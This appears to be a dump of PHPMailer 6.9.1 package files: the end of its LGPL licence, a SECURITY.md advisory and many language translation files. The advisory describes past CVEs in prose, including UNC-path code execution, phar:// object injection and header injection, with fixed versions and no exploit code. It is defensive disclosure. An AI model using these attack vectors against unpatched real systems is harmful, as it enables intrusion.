WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it!phpmailer/phpmailer/SECURITY.md000064400000016640151676714400012321 0ustar00# Security notices relating to PHPMailer Please disclose any security issues or vulnerabilities found through [Tidelift's coordinated disclosure system](https://tidelift.com/security) or to the maintainers privately. PHPMailer 6.4.1 and earlier contain a vulnerability that can result in untrusted code being called (if such code is injected into the host project's scope by other means). If the `$patternselect` parameter to `validateAddress()` is set to `'php'` (the default, defined by `PHPMailer::$validator`), and the global namespace contains a function called `php`, it will be called in preference to the built-in validator of the same name. Mitigated in PHPMailer 6.5.0 by denying the use of simple strings as validator function names. Recorded as [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603). Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/). PHPMailer versions 6.4.1 and earlier contain a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to persuade the server to load a file from that UNC path, a script file under their control may be executed. This vulnerability only applies to systems that resolve UNC paths, typically only Microsoft Windows. PHPMailer 6.5.0 mitigates this by no longer treating translation files as PHP code, but by parsing their text content directly. This approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release. Recorded as [CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551). Reported by [Jilin Diting Information Technology Co., Ltd](https://listensec.com) via Tidelift. PHPMailer versions between 6.1.8 and 6.4.0 contain a regression of the earlier CVE-2018-19296 object injection vulnerability as a result of [a fix for Windows UNC paths in 6.1.8](https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9). Recorded as [CVE-2020-36326](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36326). Reported by Fariskhi Vidyan via Tidelift. 6.4.1 fixes this issue, and also enforces stricter checks for URL schemes in local path contexts. PHPMailer versions 6.1.5 and earlier contain an output escaping bug that occurs in `Content-Type` and `Content-Disposition` when filenames passed into `addAttachment` and other methods that accept attachment names contain double quote characters, in contravention of RFC822 3.4.1. No specific vulnerability has been found relating to this, but it could allow file attachments to bypass attachment filters that are based on matching filename extensions. Recorded as [CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625). Reported by Elar Lang of Clarified Security. PHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing `phar://` paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. Recorded as [CVE-2018-19296](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19296). See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr. PHPMailer versions prior to 5.2.24 (released July 26th 2017) have an XSS vulnerability in one of the code examples, [CVE-2017-11503](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11503). The `code_generator.phps` example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, and the file is not included when PHPMailer is loaded through composer, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project. PHPMailer versions prior to 5.2.22 (released January 9th 2017) have a local file disclosure vulnerability, [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223). If content passed into `msgHTML()` is sourced from unfiltered user input, relative paths can map to absolute local file paths and added as attachments. Also note that `addAttachment` (just like `file_get_contents`, `passthru`, `unlink`, etc) should not be passed user-sourced params either! Reported by Yongxiang Li of Asiasecurity. PHPMailer versions prior to 5.2.20 (released December 28th 2016) are vulnerable to [CVE-2016-10045](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10045) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html), and patched by Paul Buonopane (@Zenexer). PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html). PHPMailer versions prior to 5.2.14 (released November 2015) are vulnerable to [CVE-2015-8476](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8476) an SMTP CRLF injection bug permitting arbitrary message sending. PHPMailer versions prior to 5.2.10 (released May 2015) are vulnerable to [CVE-2008-5619](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5619), a remote code execution vulnerability in the bundled html2text library. This file was removed in 5.2.10, so if you are using a version prior to that and make use of the html2text function, it's vitally important that you upgrade and remove this file. PHPMailer versions prior to 2.0.7 and 2.2.1 are vulnerable to [CVE-2012-0796](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0796), an email header injection attack. Joomla 1.6.0 uses PHPMailer in an unsafe way, allowing it to reveal local file paths, reported in [CVE-2011-3747](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3747). PHPMailer didn't sanitise the `$lang_path` parameter in `SetLanguage`. This wasn't a problem in itself, but some apps (PHPClassifieds, ATutor) also failed to sanitise user-provided parameters passed to it, permitting semi-arbitrary local file inclusion, reported in [CVE-2010-4914](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4914), [CVE-2007-2021](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2021) and [CVE-2006-5734](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5734). PHPMailer 1.7.2 and earlier contained a possible DDoS vulnerability reported in [CVE-2005-1807](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1807). PHPMailer 1.7 and earlier (June 2003) have a possible vulnerability in the `SendmailSend` method where shell commands may not be sanitised. Reported in [CVE-2007-3215](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3215). phpmailer/phpmailer/VERSION000064400000000006151676714400011565 0ustar006.9.1 phpmailer/phpmailer/language/phpmailer.lang-de.php000064400000003536151676714400016313 0ustar00<?php /** * German PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-Fehler: Konnte keine Verbindung zum SMTP-Host herstellen.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-Fehler: Daten werden nicht akzeptiert.'; $PHPMAILER_LANG['empty_message'] = 'E-Mail-Inhalt ist leer.'; $PHPMAILER_LANG['encoding'] = 'Unbekannte Kodierung: '; $PHPMAILER_LANG['execute'] = 'Konnte folgenden Befehl nicht ausführen: '; $PHPMAILER_LANG['file_access'] = 'Zugriff auf folgende Datei fehlgeschlagen: '; $PHPMAILER_LANG['file_open'] = 'Dateifehler: Konnte folgende Datei nicht öffnen: '; $PHPMAILER_LANG['from_failed'] = 'Die folgende Absenderadresse ist nicht korrekt: '; $PHPMAILER_LANG['instantiate'] = 'Mail-Funktion konnte nicht initialisiert werden.'; $PHPMAILER_LANG['invalid_address'] = 'Die Adresse ist ungültig: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Ungültiger Hosteintrag: '; $PHPMAILER_LANG['invalid_host'] = 'Ungültiger Host: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer wird nicht unterstützt.'; $PHPMAILER_LANG['provide_address'] = 'Bitte geben Sie mindestens eine Empfängeradresse an.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP-Fehler: Die folgenden Empfänger sind nicht korrekt: '; $PHPMAILER_LANG['signing'] = 'Fehler beim Signieren: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Verbindung zum SMTP-Server fehlgeschlagen.'; $PHPMAILER_LANG['smtp_error'] = 'Fehler vom SMTP-Server: '; $PHPMAILER_LANG['variable_set'] = 'Kann Variable nicht setzen oder zurücksetzen: '; $PHPMAILER_LANG['extension_missing'] = 'Fehlende Erweiterung: '; phpmailer/phpmailer/language/phpmailer.lang-af.php000064400000003060151676714400016301 0ustar00<?php /** * Afrikaans PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'SMTP-fout: kon nie geverifieer word nie.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon nie aan SMTP-verbind nie.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data nie aanvaar nie.'; $PHPMAILER_LANG['empty_message'] = 'Boodskapliggaam leeg.'; $PHPMAILER_LANG['encoding'] = 'Onbekende kodering: '; $PHPMAILER_LANG['execute'] = 'Kon nie uitvoer nie: '; $PHPMAILER_LANG['file_access'] = 'Kon nie lêer oopmaak nie: '; $PHPMAILER_LANG['file_open'] = 'Lêerfout: Kon nie lêer oopmaak nie: '; $PHPMAILER_LANG['from_failed'] = 'Die volgende Van adres misluk: '; $PHPMAILER_LANG['instantiate'] = 'Kon nie posfunksie instansieer nie.'; $PHPMAILER_LANG['invalid_address'] = 'Ongeldige adres: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer word nie ondersteun nie.'; $PHPMAILER_LANG['provide_address'] = 'U moet ten minste een ontvanger e-pos adres verskaf.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: Die volgende ontvangers het misluk: '; $PHPMAILER_LANG['signing'] = 'Ondertekening Fout: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP-verbinding () misluk.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP-bediener fout: '; $PHPMAILER_LANG['variable_set'] = 'Kan nie veranderlike instel of herstel nie: '; $PHPMAILER_LANG['extension_missing'] = 'Uitbreiding ontbreek: '; phpmailer/phpmailer/language/phpmailer.lang-gl.php000064400000003316151676714400016321 0ustar00<?php /** * Galician PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author by Donato Rouco <donatorouco@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'Erro SMTP: Non puido ser autentificado.'; $PHPMAILER_LANG['connect_host'] = 'Erro SMTP: Non puido conectar co servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro SMTP: Datos non aceptados.'; $PHPMAILER_LANG['empty_message'] = 'Corpo da mensaxe vacía'; $PHPMAILER_LANG['encoding'] = 'Codificación descoñecida: '; $PHPMAILER_LANG['execute'] = 'Non puido ser executado: '; $PHPMAILER_LANG['file_access'] = 'Nob puido acceder ó arquivo: '; $PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: No puido abrir o arquivo: '; $PHPMAILER_LANG['from_failed'] = 'A(s) seguinte(s) dirección(s) de remitente(s) deron erro: '; $PHPMAILER_LANG['instantiate'] = 'Non puido crear unha instancia da función Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Non puido envia-lo correo: dirección de email inválida: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer non está soportado.'; $PHPMAILER_LANG['provide_address'] = 'Debe engadir polo menos unha dirección de email coma destino.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro SMTP: Os seguintes destinos fallaron: '; $PHPMAILER_LANG['signing'] = 'Erro ó firmar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallou.'; $PHPMAILER_LANG['smtp_error'] = 'Erro do servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Non puidemos axustar ou reaxustar a variábel: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-cs.php000064400000003406151676714400016324 0ustar00<?php /** * Czech PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'Chyba SMTP: Autentizace selhala.'; $PHPMAILER_LANG['connect_host'] = 'Chyba SMTP: Nelze navázat spojení se SMTP serverem.'; $PHPMAILER_LANG['data_not_accepted'] = 'Chyba SMTP: Data nebyla přijata.'; $PHPMAILER_LANG['empty_message'] = 'Prázdné tělo zprávy'; $PHPMAILER_LANG['encoding'] = 'Neznámé kódování: '; $PHPMAILER_LANG['execute'] = 'Nelze provést: '; $PHPMAILER_LANG['file_access'] = 'Nelze získat přístup k souboru: '; $PHPMAILER_LANG['file_open'] = 'Chyba souboru: Nelze otevřít soubor pro čtení: '; $PHPMAILER_LANG['from_failed'] = 'Následující adresa odesílatele je nesprávná: '; $PHPMAILER_LANG['instantiate'] = 'Nelze vytvořit instanci emailové funkce.'; $PHPMAILER_LANG['invalid_address'] = 'Neplatná adresa: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Záznam hostitele je nesprávný: '; $PHPMAILER_LANG['invalid_host'] = 'Hostitel je nesprávný: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer není podporován.'; $PHPMAILER_LANG['provide_address'] = 'Musíte zadat alespoň jednu emailovou adresu příjemce.'; $PHPMAILER_LANG['recipients_failed'] = 'Chyba SMTP: Následující adresy příjemců nejsou správně: '; $PHPMAILER_LANG['signing'] = 'Chyba přihlašování: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() selhal.'; $PHPMAILER_LANG['smtp_error'] = 'Chyba SMTP serveru: '; $PHPMAILER_LANG['variable_set'] = 'Nelze nastavit nebo změnit proměnnou: '; $PHPMAILER_LANG['extension_missing'] = 'Chybí rozšíření: '; phpmailer/phpmailer/language/phpmailer.lang-tl.php000064400000003271151676714400016336 0ustar00<?php /** * Tagalog PHPMailer language file: refer to English translation for definitive list * * @package PHPMailer * @author Adriane Justine Tan <eidoriantan@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Hindi mapatotohanan.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Hindi makakonekta sa SMTP host.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Ang datos ay hindi naitanggap.'; $PHPMAILER_LANG['empty_message'] = 'Walang laman ang mensahe'; $PHPMAILER_LANG['encoding'] = 'Hindi alam ang encoding: '; $PHPMAILER_LANG['execute'] = 'Hindi maisasagawa: '; $PHPMAILER_LANG['file_access'] = 'Hindi ma-access ang file: '; $PHPMAILER_LANG['file_open'] = 'File Error: Hindi mabuksan ang file: '; $PHPMAILER_LANG['from_failed'] = 'Ang sumusunod na address ay nabigo: '; $PHPMAILER_LANG['instantiate'] = 'Hindi maisimulan ang instance ng mail function.'; $PHPMAILER_LANG['invalid_address'] = 'Hindi wasto ang address na naibigay: '; $PHPMAILER_LANG['mailer_not_supported'] = 'Ang mailer ay hindi suportado.'; $PHPMAILER_LANG['provide_address'] = 'Kailangan mong magbigay ng kahit isang email address na tatanggap.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Ang mga sumusunod na tatanggap ay nabigo: '; $PHPMAILER_LANG['signing'] = 'Hindi ma-sign: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ang SMTP connect() ay nabigo.'; $PHPMAILER_LANG['smtp_error'] = 'Ang server ng SMTP ay nabigo: '; $PHPMAILER_LANG['variable_set'] = 'Hindi matatakda o ma-reset ang mga variables: '; $PHPMAILER_LANG['extension_missing'] = 'Nawawala ang extension: '; phpmailer/phpmailer/language/phpmailer.lang-es.php000064400000003777151676714400016341 0ustar00<?php /** * Spanish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Matt Sturdy <matt.sturdy@gmail.com> * @author Crystopher Glodzienski Cardoso <crystopher.glodzienski@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'Error SMTP: Imposible autentificar.'; $PHPMAILER_LANG['connect_host'] = 'Error SMTP: Imposible conectar al servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Datos no aceptados.'; $PHPMAILER_LANG['empty_message'] = 'El cuerpo del mensaje está vacío.'; $PHPMAILER_LANG['encoding'] = 'Codificación desconocida: '; $PHPMAILER_LANG['execute'] = 'Imposible ejecutar: '; $PHPMAILER_LANG['file_access'] = 'Imposible acceder al archivo: '; $PHPMAILER_LANG['file_open'] = 'Error de Archivo: Imposible abrir el archivo: '; $PHPMAILER_LANG['from_failed'] = 'La(s) siguiente(s) direcciones de remitente fallaron: '; $PHPMAILER_LANG['instantiate'] = 'Imposible crear una instancia de la función Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Imposible enviar: dirección de email inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer no está soportado.'; $PHPMAILER_LANG['provide_address'] = 'Debe proporcionar al menos una dirección de email de destino.'; $PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Los siguientes destinos fallaron: '; $PHPMAILER_LANG['signing'] = 'Error al firmar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falló.'; $PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'No se pudo configurar la variable: '; $PHPMAILER_LANG['extension_missing'] = 'Extensión faltante: '; $PHPMAILER_LANG['smtp_code'] = 'Código del servidor SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Información adicional del servidor SMTP: '; $PHPMAILER_LANG['invalid_header'] = 'Nombre o valor de encabezado no válido'; phpmailer/phpmailer/language/phpmailer.lang-it.php000064400000003433151676714400016333 0ustar00<?php /** * Italian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ilias Bartolini <brain79@inwind.it> * @author Stefano Sabatini <sabas88@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Impossibile autenticarsi.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Impossibile connettersi all\'host SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dati non accettati dal server.'; $PHPMAILER_LANG['empty_message'] = 'Il corpo del messaggio è vuoto'; $PHPMAILER_LANG['encoding'] = 'Codifica dei caratteri sconosciuta: '; $PHPMAILER_LANG['execute'] = 'Impossibile eseguire l\'operazione: '; $PHPMAILER_LANG['file_access'] = 'Impossibile accedere al file: '; $PHPMAILER_LANG['file_open'] = 'File Error: Impossibile aprire il file: '; $PHPMAILER_LANG['from_failed'] = 'I seguenti indirizzi mittenti hanno generato errore: '; $PHPMAILER_LANG['instantiate'] = 'Impossibile istanziare la funzione mail'; $PHPMAILER_LANG['invalid_address'] = 'Impossibile inviare, l\'indirizzo email non è valido: '; $PHPMAILER_LANG['provide_address'] = 'Deve essere fornito almeno un indirizzo ricevente'; $PHPMAILER_LANG['mailer_not_supported'] = 'Mailer non supportato'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: I seguenti indirizzi destinatari hanno generato un errore: '; $PHPMAILER_LANG['signing'] = 'Errore nella firma: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallita.'; $PHPMAILER_LANG['smtp_error'] = 'Errore del server SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Impossibile impostare o resettare la variabile: '; $PHPMAILER_LANG['extension_missing'] = 'Estensione mancante: '; phpmailer/phpmailer/language/phpmailer.lang-as.php000064400000007320151676714400016321 0ustar00<?php /** * Assamese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Manish Sarkar <manish.n.manish@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP ত্ৰুটি: প্ৰমাণীকৰণ কৰিব নোৱাৰি'; $PHPMAILER_LANG['buggy_php'] = 'আপোনাৰ PHP সংস্কৰণ এটা বাগৰ দ্বাৰা প্ৰভাৱিত হয় যাৰ ফলত নষ্ট বাৰ্তা হব পাৰে । ইয়াক সমাধান কৰিবলে, প্ৰেৰণ কৰিবলে SMTP ব্যৱহাৰ কৰক, আপোনাৰ php.ini ত mail.add_x_header বিকল্প নিষ্ক্ৰিয় কৰক, MacOS বা Linux লৈ সলনি কৰক, বা আপোনাৰ PHP সংস্কৰণ 7.0.17+ বা 7.1.3+ লৈ সলনি কৰক ।'; $PHPMAILER_LANG['connect_host'] = 'SMTP ত্ৰুটি: SMTP চাৰ্ভাৰৰ সৈতে সংযোগ কৰিবলে অক্ষম'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP ত্ৰুটি: তথ্য গ্ৰহণ কৰা হোৱা নাই'; $PHPMAILER_LANG['empty_message'] = 'বাৰ্তাৰ মূখ্য অংশ খালী।'; $PHPMAILER_LANG['encoding'] = 'অজ্ঞাত এনকোডিং: '; $PHPMAILER_LANG['execute'] = 'এক্সিকিউট কৰিব নোৱাৰি: '; $PHPMAILER_LANG['extension_missing'] = 'সম্প্ৰসাৰণ নোহোৱা হৈছে: '; $PHPMAILER_LANG['file_access'] = 'ফাইল অভিগম কৰিবলে অক্ষম: '; $PHPMAILER_LANG['file_open'] = 'ফাইল ত্ৰুটি: ফাইল খোলিবলৈ অক্ষম: '; $PHPMAILER_LANG['from_failed'] = 'নিম্নলিখিত প্ৰেৰকৰ ঠিকনা(সমূহ) ব্যৰ্থ: '; $PHPMAILER_LANG['instantiate'] = 'মেইল ফাংচনৰ এটা উদাহৰণ সৃষ্টি কৰিবলে অক্ষম'; $PHPMAILER_LANG['invalid_address'] = 'প্ৰেৰণ কৰিব নোৱাৰি: অবৈধ ইমেইল ঠিকনা: '; $PHPMAILER_LANG['invalid_header'] = 'অবৈধ হেডাৰৰ নাম বা মান'; $PHPMAILER_LANG['invalid_hostentry'] = 'অবৈধ হোষ্টেন্ট্ৰি: '; $PHPMAILER_LANG['invalid_host'] = 'অবৈধ হস্ট:'; $PHPMAILER_LANG['mailer_not_supported'] = 'মেইলাৰ সমৰ্থিত নহয়।'; $PHPMAILER_LANG['provide_address'] = 'আপুনি অন্ততঃ এটা গন্তব্য ইমেইল ঠিকনা দিব লাগিব'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP ত্ৰুটি: নিম্নলিখিত গন্তব্যস্থানসমূহ ব্যৰ্থ: '; $PHPMAILER_LANG['signing'] = 'স্বাক্ষৰ কৰাত ব্যৰ্থ: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP কড: '; $PHPMAILER_LANG['smtp_code_ex'] = 'অতিৰিক্ত SMTP তথ্য: '; $PHPMAILER_LANG['smtp_detail'] = 'বিৱৰণ:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP সংযোগ() ব্যৰ্থ'; $PHPMAILER_LANG['smtp_error'] = 'SMTP চাৰ্ভাৰৰ ত্ৰুটি: '; $PHPMAILER_LANG['variable_set'] = 'চলক নিৰ্ধাৰণ কৰিব পৰা নগল: '; $PHPMAILER_LANG['extension_missing'] = 'অনুপস্থিত সম্প্ৰসাৰণ: '; phpmailer/phpmailer/language/phpmailer.lang-sr.php000064400000004375151676714400016351 0ustar00<?php /** * Serbian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Александар Јевремовић <ajevremovic@gmail.com> * @author Miloš Milanović <mmilanovic016@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP грешка: аутентификација није успела.'; $PHPMAILER_LANG['connect_host'] = 'SMTP грешка: повезивање са SMTP сервером није успело.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: подаци нису прихваћени.'; $PHPMAILER_LANG['empty_message'] = 'Садржај поруке је празан.'; $PHPMAILER_LANG['encoding'] = 'Непознато кодирање: '; $PHPMAILER_LANG['execute'] = 'Није могуће извршити наредбу: '; $PHPMAILER_LANG['file_access'] = 'Није могуће приступити датотеци: '; $PHPMAILER_LANG['file_open'] = 'Није могуће отворити датотеку: '; $PHPMAILER_LANG['from_failed'] = 'SMTP грешка: слање са следећих адреса није успело: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: слање на следеће адресе није успело: '; $PHPMAILER_LANG['instantiate'] = 'Није могуће покренути mail функцију.'; $PHPMAILER_LANG['invalid_address'] = 'Порука није послата. Неисправна адреса: '; $PHPMAILER_LANG['mailer_not_supported'] = ' мејлер није подржан.'; $PHPMAILER_LANG['provide_address'] = 'Дефинишите бар једну адресу примаоца.'; $PHPMAILER_LANG['signing'] = 'Грешка приликом пријаве: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Повезивање са SMTP сервером није успело.'; $PHPMAILER_LANG['smtp_error'] = 'Грешка SMTP сервера: '; $PHPMAILER_LANG['variable_set'] = 'Није могуће задати нити ресетовати променљиву: '; $PHPMAILER_LANG['extension_missing'] = 'Недостаје проширење: '; phpmailer/phpmailer/language/phpmailer.lang-id.php000064400000003715151676714400016316 0ustar00<?php /** * Indonesian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Cecep Prawiro <cecep.prawiro@gmail.com> * @author @januridp * @author Ian Mustafa <mail@ianmustafa.com> */ $PHPMAILER_LANG['authenticate'] = 'Kesalahan SMTP: Tidak dapat mengotentikasi.'; $PHPMAILER_LANG['connect_host'] = 'Kesalahan SMTP: Tidak dapat terhubung ke host SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Kesalahan SMTP: Data tidak diterima.'; $PHPMAILER_LANG['empty_message'] = 'Isi pesan kosong'; $PHPMAILER_LANG['encoding'] = 'Pengkodean karakter tidak dikenali: '; $PHPMAILER_LANG['execute'] = 'Tidak dapat menjalankan proses: '; $PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses berkas: '; $PHPMAILER_LANG['file_open'] = 'Kesalahan Berkas: Berkas tidak dapat dibuka: '; $PHPMAILER_LANG['from_failed'] = 'Alamat pengirim berikut mengakibatkan kesalahan: '; $PHPMAILER_LANG['instantiate'] = 'Tidak dapat menginisialisasi fungsi surel.'; $PHPMAILER_LANG['invalid_address'] = 'Gagal terkirim, alamat surel tidak sesuai: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Gagal terkirim, entri host tidak sesuai: '; $PHPMAILER_LANG['invalid_host'] = 'Gagal terkirim, host tidak sesuai: '; $PHPMAILER_LANG['provide_address'] = 'Harus tersedia minimal satu alamat tujuan'; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer tidak didukung'; $PHPMAILER_LANG['recipients_failed'] = 'Kesalahan SMTP: Alamat tujuan berikut menyebabkan kesalahan: '; $PHPMAILER_LANG['signing'] = 'Kesalahan dalam penandatangan SSL: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() gagal.'; $PHPMAILER_LANG['smtp_error'] = 'Kesalahan pada pelayan SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tidak dapat mengatur atau mengatur ulang variabel: '; $PHPMAILER_LANG['extension_missing'] = 'Ekstensi PHP tidak tersedia: '; phpmailer/phpmailer/language/phpmailer.lang-ka.php000064400000005504151676714400016313 0ustar00<?php /** * Georgian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Avtandil Kikabidze aka LONGMAN <akalongman@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP შეცდომა: ავტორიზაცია შეუძლებელია.'; $PHPMAILER_LANG['connect_host'] = 'SMTP შეცდომა: SMTP სერვერთან დაკავშირება შეუძლებელია.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP შეცდომა: მონაცემები არ იქნა მიღებული.'; $PHPMAILER_LANG['encoding'] = 'კოდირების უცნობი ტიპი: '; $PHPMAILER_LANG['execute'] = 'შეუძლებელია შემდეგი ბრძანების შესრულება: '; $PHPMAILER_LANG['file_access'] = 'შეუძლებელია წვდომა ფაილთან: '; $PHPMAILER_LANG['file_open'] = 'ფაილური სისტემის შეცდომა: არ იხსნება ფაილი: '; $PHPMAILER_LANG['from_failed'] = 'გამგზავნის არასწორი მისამართი: '; $PHPMAILER_LANG['instantiate'] = 'mail ფუნქციის გაშვება ვერ ხერხდება.'; $PHPMAILER_LANG['provide_address'] = 'გთხოვთ მიუთითოთ ერთი ადრესატის e-mail მისამართი მაინც.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - საფოსტო სერვერის მხარდაჭერა არ არის.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP შეცდომა: შემდეგ მისამართებზე გაგზავნა ვერ მოხერხდა: '; $PHPMAILER_LANG['empty_message'] = 'შეტყობინება ცარიელია'; $PHPMAILER_LANG['invalid_address'] = 'არ გაიგზავნა, e-mail მისამართის არასწორი ფორმატი: '; $PHPMAILER_LANG['signing'] = 'ხელმოწერის შეცდომა: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'შეცდომა SMTP სერვერთან დაკავშირებისას'; $PHPMAILER_LANG['smtp_error'] = 'SMTP სერვერის შეცდომა: '; $PHPMAILER_LANG['variable_set'] = 'შეუძლებელია შემდეგი ცვლადის შექმნა ან შეცვლა: '; $PHPMAILER_LANG['extension_missing'] = 'ბიბლიოთეკა არ არსებობს: '; phpmailer/phpmailer/language/phpmailer.lang-zh.php000064400000003205151676714400016335 0ustar00<?php /** * Traditional Chinese PHPMailer language file: refer to English translation 